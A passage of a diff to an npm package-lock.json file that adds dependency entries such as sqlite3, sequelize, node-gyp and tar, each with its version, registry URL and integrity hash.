+      "integrity": "sha512-5m3bsyrjFWE1xf7nz7YXdN4udnVtXK6/Yfgn5qnahL6bCkf2yKt4k3nuTKAtT4r3IG8JNR2ncsIMdZuAzJjHQQ=="
+    },
+    "node_modules/node-gyp": {
+      "version": "8.4.1",
+      "resolved": "https://registry.npmjs.org/node-gyp/-/node-gyp-8.4.1.tgz",
+      "integrity": "sha512-olTJRgUtAb/hOXG0E93wZDs5YiJlgbXxTwQAFHyNlRsXQnYzUaF2aGgujZbw+hR8aF4ZG/rST57bWMWD16jr9w==",
+      "optional": true,
+      "dependencies": {
+        "env-paths": "^2.2.0",
+        "glob": "^7.1.4",
+        "graceful-fs": "^4.2.6",
+        "make-fetch-happen": "^9.1.0",
+        "nopt": "^5.0.0",
+        "npmlog": "^6.0.0",
+        "rimraf": "^3.0.2",
+        "semver": "^7.3.5",
+        "tar": "^6.1.2",
+        "which": "^2.0.2"
+      },
+      "bin": {
+        "node-gyp": "bin/node-gyp.js"
+      },
+      "engines": {
+        "node": ">= 10.12.0"
+      }
+    },
+    "node_modules/nopt": {
+      "version": "5.0.0",
+      "resolved": "https://registry.npmjs.org/nopt/-/nopt-5.0.0.tgz",
+      "integrity": "sha512-Tbj67rffqceeLpcRXrT7vKAN8CwfPeIBgM7E6iBkmKLV7bEMwpGgYLGv0jACUsECaa/vuxP0IjEont6umdMgtQ==",
+      "optional": true,
+      "dependencies": {
+        "abbrev": "1"
+      },
+      "bin": {
+        "nopt": "bin/nopt.js"
+      },
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/npmlog": {
+      "version": "6.0.2",
+      "resolved": "https://registry.npmjs.org/npmlog/-/npmlog-6.0.2.tgz",
+      "integrity": "sha512-/vBvz5Jfr9dT/aFWd0FIRf+T/Q2WBsLENygUaFUqstqsycmZAP/t5BvFJTK0viFmSUxiUKTUplWy5vt+rvKIxg==",
+      "deprecated": "This package is no longer supported.",
+      "optional": true,
+      "dependencies": {
+        "are-we-there-yet": "^3.0.0",
+        "console-control-strings": "^1.1.0",
+        "gauge": "^4.0.3",
+        "set-blocking": "^2.0.0"
+      },
+      "engines": {
+        "node": "^12.13.0 || ^14.15.0 || >=16.0.0"
+      }
+    },
+    "node_modules/once": {
+      "version": "1.4.0",
+      "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz",
+      "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==",
+      "dependencies": {
+        "wrappy": "1"
+      }
+    },
+    "node_modules/p-map": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/p-map/-/p-map-4.0.0.tgz",
+      "integrity": "sha512-/bjOqmgETBYB5BoEeGVea8dmvHb2m9GLy1E9W43yeyfP6QQCZGFNa+XRceJEuDB6zqr+gKpIAmlLebMpykw/MQ==",
+      "optional": true,
+      "dependencies": {
+        "aggregate-error": "^3.0.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/path-is-absolute": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz",
+      "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==",
+      "optional": true,
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/path-parse": {
+      "version": "1.0.7",
+      "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz",
+      "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw=="
+    },
+    "node_modules/prebuild-install": {
+      "version": "7.1.2",
+      "resolved": "https://registry.npmjs.org/prebuild-install/-/prebuild-install-7.1.2.tgz",
+      "integrity": "sha512-UnNke3IQb6sgarcZIDU3gbMeTp/9SSU1DAIkil7PrqG1vZlBtY5msYccSKSHDqa3hNg436IXK+SNImReuA1wEQ==",
+      "dependencies": {
+        "detect-libc": "^2.0.0",
+        "expand-template": "^2.0.3",
+        "github-from-package": "0.0.0",
+        "minimist": "^1.2.3",
+        "mkdirp-classic": "^0.5.3",
+        "napi-build-utils": "^1.0.1",
+        "node-abi": "^3.3.0",
+        "pump": "^3.0.0",
+        "rc": "^1.2.7",
+        "simple-get": "^4.0.0",
+        "tar-fs": "^2.0.0",
+        "tunnel-agent": "^0.6.0"
+      },
+      "bin": {
+        "prebuild-install": "bin.js"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/promise-inflight": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/promise-inflight/-/promise-inflight-1.0.1.tgz",
+      "integrity": "sha512-6zWPyEOFaQBJYcGMHBKTKJ3u6TBsnMFOIZSa6ce1e/ZrrsOlnHRHbabMjLiBYKp+n44X9eUI6VUPaukCXHuG4g==",
+      "optional": true
+    },
+    "node_modules/promise-retry": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/promise-retry/-/promise-retry-2.0.1.tgz",
+      "integrity": "sha512-y+WKFlBR8BGXnsNlIHFGPZmyDf3DFMoLhaflAnyZgV6rG6xu+JwesTo2Q9R6XwYmtmwAFCkAk3e35jEdoeh/3g==",
+      "optional": true,
+      "dependencies": {
+        "err-code": "^2.0.2",
+        "retry": "^0.12.0"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/pump": {
+      "version": "3.0.2",
+      "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.2.tgz",
+      "integrity": "sha512-tUPXtzlGM8FE3P0ZL6DVs/3P58k9nk8/jZeQCurTJylQA8qFYzHFfhBJkuqyE0FifOsQ0uKWekiZ5g8wtr28cw==",
+      "dependencies": {
+        "end-of-stream": "^1.1.0",
+        "once": "^1.3.1"
+      }
+    },
+    "node_modules/rc": {
+      "version": "1.2.8",
+      "resolved": "https://registry.npmjs.org/rc/-/rc-1.2.8.tgz",
+      "integrity": "sha512-y3bGgqKj3QBdxLbLkomlohkvsA8gdAiUQlSBJnBhfn+BPxg4bc62d8TcBW15wavDfgexCgccckhcZvywyQYPOw==",
+      "dependencies": {
+        "deep-extend": "^0.6.0",
+        "ini": "~1.3.0",
+        "minimist": "^1.2.0",
+        "strip-json-comments": "~2.0.1"
+      },
+      "bin": {
+        "rc": "cli.js"
+      }
+    },
+    "node_modules/readable-stream": {
+      "version": "3.6.2",
+      "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz",
+      "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==",
+      "dependencies": {
+        "inherits": "^2.0.3",
+        "string_decoder": "^1.1.1",
+        "util-deprecate": "^1.0.1"
+      },
+      "engines": {
+        "node": ">= 6"
+      }
+    },
+    "node_modules/resolve": {
+      "version": "1.22.8",
+      "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.8.tgz",
+      "integrity": "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw==",
+      "dependencies": {
+        "is-core-module": "^2.13.0",
+        "path-parse": "^1.0.7",
+        "supports-preserve-symlinks-flag": "^1.0.0"
+      },
+      "bin": {
+        "resolve": "bin/resolve"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/retry": {
+      "version": "0.12.0",
+      "resolved": "https://registry.npmjs.org/retry/-/retry-0.12.0.tgz",
+      "integrity": "sha512-9LkiTwjUh6rT555DtE9rTX+BKByPfrMzEAtnlEtdEwr3Nkffwiihqe2bWADg+OQRjt9gl6ICdmB/ZFDCGAtSow==",
+      "optional": true,
+      "engines": {
+        "node": ">= 4"
+      }
+    },
+    "node_modules/retry-as-promised": {
+      "version": "2.3.2",
+      "resolved": "https://registry.npmjs.org/retry-as-promised/-/retry-as-promised-2.3.2.tgz",
+      "integrity": "sha512-KZMPON7wEhqU4pyWzXw/Ti8NYTVk5+qQ5OfAq3+L/3gJ2Fv+YaLVHbFSK80XlIfI9WrdP8c73bDTrh14SvTSKw==",
+      "dependencies": {
+        "bluebird": "^3.4.6",
+        "debug": "^2.6.9"
+      }
+    },
+    "node_modules/retry-as-promised/node_modules/debug": {
+      "version": "2.6.9",
+      "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
+      "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+      "dependencies": {
+        "ms": "2.0.0"
+      }
+    },
+    "node_modules/retry-as-promised/node_modules/ms": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
+      "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="
+    },
+    "node_modules/rimraf": {
+      "version": "3.0.2",
+      "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz",
+      "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==",
+      "deprecated": "Rimraf versions prior to v4 are no longer supported",
+      "optional": true,
+      "dependencies": {
+        "glob": "^7.1.3"
+      },
+      "bin": {
+        "rimraf": "bin.js"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/isaacs"
+      }
+    },
+    "node_modules/safe-buffer": {
+      "version": "5.2.1",
+      "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz",
+      "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==",
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/feross"
+        },
+        {
+          "type": "patreon",
+          "url": "https://www.patreon.com/feross"
+        },
+        {
+          "type": "consulting",
+          "url": "https://feross.org/support"
+        }
+      ]
+    },
+    "node_modules/safer-buffer": {
+      "version": "2.1.2",
+      "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz",
+      "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg=="
+    },
+    "node_modules/semver": {
+      "version": "5.4.1",
+      "resolved": "https://registry.npmjs.org/semver/-/semver-5.4.1.tgz",
+      "integrity": "sha512-WfG/X9+oATh81XtllIo/I8gOiY9EXRdv1cQdyykeXK17YcUW3EXUAi2To4pcH6nZtJPr7ZOpM5OMyWJZm+8Rsg==",
+      "bin": {
+        "semver": "bin/semver"
+      }
+    },
+    "node_modules/seq-queue": {
+      "version": "0.0.5",
+      "resolved": "https://registry.npmjs.org/seq-queue/-/seq-queue-0.0.5.tgz",
+      "integrity": "sha512-hr3Wtp/GZIc/6DAGPDcV4/9WoZhjrkXsi5B/07QgX8tsdc6ilr7BFM6PM6rbdAX1kFSDYeZGLipIZZKyQP0O5Q=="
+    },
+    "node_modules/sequelize": {
+      "version": "4.44.1",
+      "resolved": "https://registry.npmjs.org/sequelize/-/sequelize-4.44.1.tgz",
+      "integrity": "sha512-eMPkuIRFMVSJWL4QXkI3luuOC/fxSQ0KRHodQb/cbB0PZSbJZ5pNv9HoQkAyzGKdxnU1efb4vMy9ctFcRhIVOw==",
+      "deprecated": "Please update to v6 or higher! A migration guide can be found here: https://sequelize.org/v6/manual/upgrade-to-v6.html",
+      "dependencies": {
+        "bluebird": "^3.5.0",
+        "cls-bluebird": "^2.1.0",
+        "debug": "^3.1.0",
+        "depd": "^1.1.0",
+        "dottie": "^2.0.0",
+        "generic-pool": "3.5.0",
+        "inflection": "1.12.0",
+        "lodash": "^4.17.1",
+        "moment": "^2.20.0",
+        "moment-timezone": "^0.5.14",
+        "retry-as-promised": "^2.3.2",
+        "semver": "^5.5.0",
+        "terraformer-wkt-parser": "^1.1.2",
+        "toposort-class": "^1.0.1",
+        "uuid": "^3.2.1",
+        "validator": "^10.4.0",
+        "wkx": "^0.4.1"
+      },
+      "engines": {
+        "node": ">=4.0.0"
+      }
+    },
+    "node_modules/set-blocking": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz",
+      "integrity": "sha512-KiKBS8AnWGEyLzofFfmvKwpdPzqiy16LvQfK3yv/fVH7Bj13/wl3JSR1J+rfgRE9q7xUJK4qvgS8raSOeLUehw==",
+      "optional": true
+    },
+    "node_modules/shimmer": {
+      "version": "1.2.1",
+      "resolved": "https://registry.npmjs.org/shimmer/-/shimmer-1.2.1.tgz",
+      "integrity": "sha512-sQTKC1Re/rM6XyFM6fIAGHRPVGvyXfgzIDvzoq608vM+jeyVD0Tu1E6Np0Kc2zAIFWIj963V2800iF/9LPieQw=="
+    },
+    "node_modules/signal-exit": {
+      "version": "3.0.7",
+      "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz",
+      "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==",
+      "optional": true
+    },
+    "node_modules/simple-concat": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/simple-concat/-/simple-concat-1.0.1.tgz",
+      "integrity": "sha512-cSFtAPtRhljv69IK0hTVZQ+OfE9nePi/rtJmw5UjHeVyVroEqJXP1sFztKUy1qU+xvz3u/sfYJLa947b7nAN2Q==",
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/feross"
+        },
+        {
+          "type": "patreon",
+          "url": "https://www.patreon.com/feross"
+        },
+        {
+          "type": "consulting",
+          "url": "https://feross.org/support"
+        }
+      ]
+    },
+    "node_modules/simple-get": {
+      "version": "4.0.1",
+      "resolved": "https://registry.npmjs.org/simple-get/-/simple-get-4.0.1.tgz",
+      "integrity": "sha512-brv7p5WgH0jmQJr1ZDDfKDOSeWWg+OVypG99A/5vYGPqJ6pxiaHLy8nxtFjBA7oMa01ebA9gfh1uMCFqOuXxvA==",
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/feross"
+        },
+        {
+          "type": "patreon",
+          "url": "https://www.patreon.com/feross"
+        },
+        {
+          "type": "consulting",
+          "url": "https://feross.org/support"
+        }
+      ],
+      "dependencies": {
+        "decompress-response": "^6.0.0",
+        "once": "^1.3.1",
+        "simple-concat": "^1.0.0"
+      }
+    },
+    "node_modules/smart-buffer": {
+      "version": "4.2.0",
+      "resolved": "https://registry.npmjs.org/smart-buffer/-/smart-buffer-4.2.0.tgz",
+      "integrity": "sha512-94hK0Hh8rPqQl2xXc3HsaBoOXKV20MToPkcXvwbISWLEs+64sBq5kFgn2kJDHb1Pry9yrP0dxrCI9RRci7RXKg==",
+      "optional": true,
+      "engines": {
+        "node": ">= 6.0.0",
+        "npm": ">= 3.0.0"
+      }
+    },
+    "node_modules/socks": {
+      "version": "2.8.3",
+      "resolved": "https://registry.npmjs.org/socks/-/socks-2.8.3.tgz",
+      "integrity": "sha512-l5x7VUUWbjVFbafGLxPWkYsHIhEvmF85tbIeFZWc8ZPtoMyybuEhL7Jye/ooC4/d48FgOjSJXgsF/AJPYCW8Zw==",
+      "optional": true,
+      "dependencies": {
+        "ip-address": "^9.0.5",
+        "smart-buffer": "^4.2.0"
+      },
+      "engines": {
+        "node": ">= 10.0.0",
+        "npm": ">= 3.0.0"
+      }
+    },
+    "node_modules/socks-proxy-agent": {
+      "version": "6.2.1",
+      "resolved": "https://registry.npmjs.org/socks-proxy-agent/-/socks-proxy-agent-6.2.1.tgz",
+      "integrity": "sha512-a6KW9G+6B3nWZ1yB8G7pJwL3ggLy1uTzKAgCb7ttblwqdz9fMGJUuTy3uFzEP48FAs9FLILlmzDlE2JJhVQaXQ==",
+      "optional": true,
+      "dependencies": {
+        "agent-base": "^6.0.2",
+        "debug": "^4.3.3",
+        "socks": "^2.6.2"
+      },
+      "engines": {
+        "node": ">= 10"
+      }
+    },
+    "node_modules/socks-proxy-agent/node_modules/debug": {
+      "version": "4.3.7",
+      "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.7.tgz",
+      "integrity": "sha512-Er2nc/H7RrMXZBFCEim6TCmMk02Z8vLC2Rbi1KEBggpo0fS6l0S1nnapwmIi3yW/+GOJap1Krg4w0Hg80oCqgQ==",
+      "optional": true,
+      "dependencies": {
+        "ms": "^2.1.3"
+      },
+      "engines": {
+        "node": ">=6.0"
+      },
+      "peerDependenciesMeta": {
+        "supports-color": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/source-map": {
+      "version": "0.5.7",
+      "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz",
+      "integrity": "sha512-LbrmJOMUSdEVxIKvdcJzQC+nQhe8FUZQTXQy6+I75skNgn3OoQ0DZA8YnFa7gp8tqtL3KPf1kmo0R5DoApeSGQ==",
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/sprintf-js": {
+      "version": "1.1.3",
+      "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.1.3.tgz",
+      "integrity": "sha512-Oo+0REFV59/rz3gfJNKQiBlwfHaSESl1pcGyABQsnnIfWOFt6JNj5gCog2U6MLZ//IGYD+nA8nI+mTShREReaA==",
+      "optional": true
+    },
+    "node_modules/sqlite3": {
+      "version": "5.1.7",
+      "resolved": "https://registry.npmjs.org/sqlite3/-/sqlite3-5.1.7.tgz",
+      "integrity": "sha512-GGIyOiFaG+TUra3JIfkI/zGP8yZYLPQ0pl1bH+ODjiX57sPhrLU5sQJn1y9bDKZUFYkX1crlrPfSYt0BKKdkog==",
+      "hasInstallScript": true,
+      "dependencies": {
+        "bindings": "^1.5.0",
+        "node-addon-api": "^7.0.0",
+        "prebuild-install": "^7.1.1",
+        "tar": "^6.1.11"
+      },
+      "optionalDependencies": {
+        "node-gyp": "8.x"
+      },
+      "peerDependencies": {
+        "node-gyp": "8.x"
+      },
+      "peerDependenciesMeta": {
+        "node-gyp": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/sqlstring": {
+      "version": "2.3.3",
+      "resolved": "https://registry.npmjs.org/sqlstring/-/sqlstring-2.3.3.tgz",
+      "integrity": "sha512-qC9iz2FlN7DQl3+wjwn3802RTyjCx7sDvfQEXchwa6CWOx07/WVfh91gBmQ9fahw8snwGEWU3xGzOt4tFyHLxg==",
+      "engines": {
+        "node": ">= 0.6"
+      }
+    },
+    "node_modules/ssri": {
+      "version": "8.0.1",
+      "resolved": "https://registry.npmjs.org/ssri/-/ssri-8.0.1.tgz",
+      "integrity": "sha512-97qShzy1AiyxvPNIkLWoGua7xoQzzPjQ0HAH4B0rWKo7SZ6USuPcrUiAFrws0UH8RrbWmgq3LMTObhPIHbbBeQ==",
+      "optional": true,
+      "dependencies": {
+        "minipass": "^3.1.1"
+      },
+      "engines": {
+        "node": ">= 8"
+      }
+    },
+    "node_modules/string_decoder": {
+      "version": "1.3.0",
+      "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz",
+      "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==",
+      "dependencies": {
+        "safe-buffer": "~5.2.0"
+      }
+    },
+    "node_modules/string-width": {
+      "version": "4.2.3",
+      "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
+      "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
+      "optional": true,
+      "dependencies": {
+        "emoji-regex": "^8.0.0",
+        "is-fullwidth-code-point": "^3.0.0",
+        "strip-ansi": "^6.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/strip-ansi": {
+      "version": "6.0.1",
+      "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
+      "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
+      "optional": true,
+      "dependencies": {
+        "ansi-regex": "^5.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/strip-json-comments": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-2.0.1.tgz",
+      "integrity": "sha512-4gB8na07fecVVkOI6Rs4e7T6NOTki5EmL7TUduTs6bu3EdnSycntVJ4re8kgZA+wx9IueI2Y11bfbgwtzuE0KQ==",
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/supports-color": {
+      "version": "5.5.0",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz",
+      "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
+      "dependencies": {
+        "has-flag": "^3.0.0"
       },
       "engines": {
         "node": ">=4"
@@ -411,7 +1904,6 @@
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz",
       "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==",
-      "dev": true,
       "engines": {
         "node": ">= 0.4"
       },
@@ -419,23 +1911,204 @@
         "url": "https://github.com/sponsors/ljharb"
       }
     },
+    "node_modules/tar": {
+      "version": "6.2.1",
+      "resolved": "https://registry.npmjs.org/tar/-/tar-6.2.1.tgz",
+      "integrity": "sha512-DZ4yORTwrbTj/7MZYq2w+/ZFdI6OZ/f9SFHR+71gIVUZhOQPHzVCLpvRnPgyaMpfWxxk/4ONva3GQSyNIKRv6A==",
+      "dependencies": {
+        "chownr": "^2.0.0",
+        "fs-minipass": "^2.0.0",
+        "minipass": "^5.0.0",
+        "minizlib": "^2.1.1",
+        "mkdirp": "^1.0.3",
+        "yallist": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/tar-fs": {
+      "version": "2.1.1",
+      "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-2.1.1.tgz",
+      "integrity": "sha512-V0r2Y9scmbDRLCNex/+hYzvp/zyYjvFbHPNgVTKfQvVrb6guiE/fxP+XblDNR011utopbkex2nM4dHNV6GDsng==",
+      "dependencies": {
+        "chownr": "^1.1.1",
+        "mkdirp-classic": "^0.5.2",
+        "pump": "^3.0.0",
+        "tar-stream": "^2.1.4"
+      }
+    },
+    "node_modules/tar-fs/node_modules/chownr": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.4.tgz",
+      "integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg=="
+    },
+    "node_modules/tar-stream": {
+      "version": "2.2.0",
+      "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-2.2.0.tgz",
+      "integrity": "sha512-ujeqbceABgwMZxEJnk2HDY2DlnUZ+9oEcb1KzTVfYHio0UE6dG71n60d8D2I4qNvleWrrXpmjpt7vZeF1LnMZQ==",
+      "dependencies": {
+        "bl": "^4.0.3",
+        "end-of-stream": "^1.4.1",
+        "fs-constants": "^1.0.0",
+        "inherits": "^2.0.3",
+        "readable-stream": "^3.1.1"
+      },
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/tar/node_modules/minipass": {
+      "version": "5.0.0",
+      "resolved": "https://registry.npmjs.org/minipass/-/minipass-5.0.0.tgz",
+      "integrity": "sha512-3FnjYuehv9k6ovOEbyOswadCDPX1piCfhV8ncmYtHOjuPwylVWsghTLo7rabjC3Rx5xD4HDx8Wm1xnMF7S5qFQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/terraformer": {
+      "version": "1.0.12",
+      "resolved": "https://registry.npmjs.org/terraformer/-/terraformer-1.0.12.tgz",
+      "integrity": "sha512-MokUp0+MFal4CmJDVL6VAO1bKegeXcBM2RnPVfqcFIp2IIv8EbPAjG0j/vEy/vuKB8NVMMSF2vfpVS/QLe4DBg==",
+      "deprecated": "terraformer is deprecated and no longer supported. Please use @terraformer/arcgis.",
+      "engines": {
+        "node": ">=4.2.6"
+      },
+      "optionalDependencies": {
+        "@types/geojson": "^7946.0.0 || ^1.0.0"
+      }
+    },
+    "node_modules/terraformer-wkt-parser": {
+      "version": "1.2.1",
+      "resolved": "https://registry.npmjs.org/terraformer-wkt-parser/-/terraformer-wkt-parser-1.2.1.tgz",
+      "integrity": "sha512-+CJyNLWb3lJ9RsZMTM66BY0MT3yIo4l4l22Jd9CrZuwzk54fsu4Sc7zejuS9fCITTuTQy3p06d4MZMVI7v5wSg==",
+      "deprecated": "terraformer-wkt-parser is deprecated and no longer supported. Please use @terraformer/wkt.",
+      "dependencies": {
+        "@types/geojson": "^1.0.0",
+        "terraformer": "~1.0.5"
+      },
+      "engines": {
+        "node": ">=4.2.6"
+      }
+    },
     "node_modules/to-fast-properties": {
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-2.0.0.tgz",
       "integrity": "sha512-/OaKK0xYrs3DmxRYqL/yDc+FxFUVYhDlXMhRmv3z915w2HF1tnN1omB354j8VUGO/hbRzyD6Y3sA7v7GS/ceog==",
-      "dev": true,
       "engines": {
         "node": ">=4"
       }
     },
+    "node_modules/toposort-class": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/toposort-class/-/toposort-class-1.0.1.tgz",
+      "integrity": "sha512-OsLcGGbYF3rMjPUf8oKktyvCiUxSbqMMS39m33MAjLTC1DVIH6x3WSt63/M77ihI09+Sdfk1AXvfhCEeUmC7mg=="
+    },
     "node_modules/trim-right": {
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/trim-right/-/trim-right-1.0.1.tgz",
       "integrity": "sha512-WZGXGstmCWgeevgTL54hrCuw1dyMQIzWy7ZfqRJfSmJZBwklI15egmQytFP6bPidmw3M8d5yEowl1niq4vmqZw==",
-      "dev": true,
       "engines": {
         "node": ">=0.10.0"
       }
+    },
+    "node_modules/tunnel-agent": {
+      "version": "0.6.0",
+      "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz",
+      "integrity": "sha512-McnNiV1l8RYeY8tBgEpuodCC1mLUdbSN+CYBL7kJsJNInOP8UjDDEwdk6Mw60vdLLrr5NHKZhMAOSrR2NZuQ+w==",
+      "dependencies": {
+        "safe-buffer": "^5.0.1"
+      },
+      "engines": {
+        "node": "*"
+      }
+    },
+    "node_modules/undici-types": {
+      "version": "6.19.8",
+      "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-6.19.8.tgz",
+      "integrity": "sha512-ve2KP6f/JnbPBFyobGHuerC9g1FYGn/F8n1LWTwNxCEzd6IfqTwUQcNXgEtmmQ6DlRrC1hrSrBnCZPokRrDHjw=="
+    },
+    "node_modules/unique-filename": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/unique-filename/-/unique-filename-1.1.1.tgz",
+      "integrity": "sha512-Vmp0jIp2ln35UTXuryvjzkjGdRyf9b2lTXuSYUiPmzRcl3FDtYqAwOnTJkAngD9SWhnoJzDbTKwaOrZ+STtxNQ==",
+      "optional": true,
+      "dependencies": {
+        "unique-slug": "^2.0.0"
+      }
+    },
+    "node_modules/unique-slug": {
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/unique-slug/-/unique-slug-2.0.2.tgz",
+      "integrity": "sha512-zoWr9ObaxALD3DOPfjPSqxt4fnZiWblxHIgeWqW8x7UqDzEtHEQLzji2cuJYQFCU6KmoJikOYAZlrTHHebjx2w==",
+      "optional": true,
+      "dependencies": {
+        "imurmurhash": "^0.1.4"
+      }
+    },
+    "node_modules/util-deprecate": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz",
+      "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw=="
+    },
+    "node_modules/uuid": {
+      "version": "3.4.0",
+      "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.4.0.tgz",
